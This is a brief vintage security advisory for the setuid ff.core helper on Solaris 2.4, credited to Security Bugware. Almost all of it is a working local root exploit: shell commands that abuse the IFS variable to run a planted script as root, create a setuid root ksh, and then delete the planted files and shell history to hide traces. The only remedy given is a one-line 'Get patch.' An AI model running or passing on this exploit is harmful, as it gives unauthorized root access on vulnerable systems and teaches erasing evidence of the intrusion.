COMMAND

    /usr/openwin/bin/ff.core

SYSTEMS AFFECTED

    Solaris 2.4

PROBLEM

        %  ksh
        %  cd /tmp
        %  cp /bin/ksh .
        %  echo "chown root ksh; chmod u+s ksh" > usr
        %  chmod +x usr
        %  export IFS=/
        %  ff.core 0 1 /dev/fd0 /
        %  ./ksh
        #  rm usr
        #  rm -f ksh
        #  rm -f .sh_history

    NOTE:   Original exploit  was different,  this one  is by Security
    Bugware.

SOLUTION

    Get patch.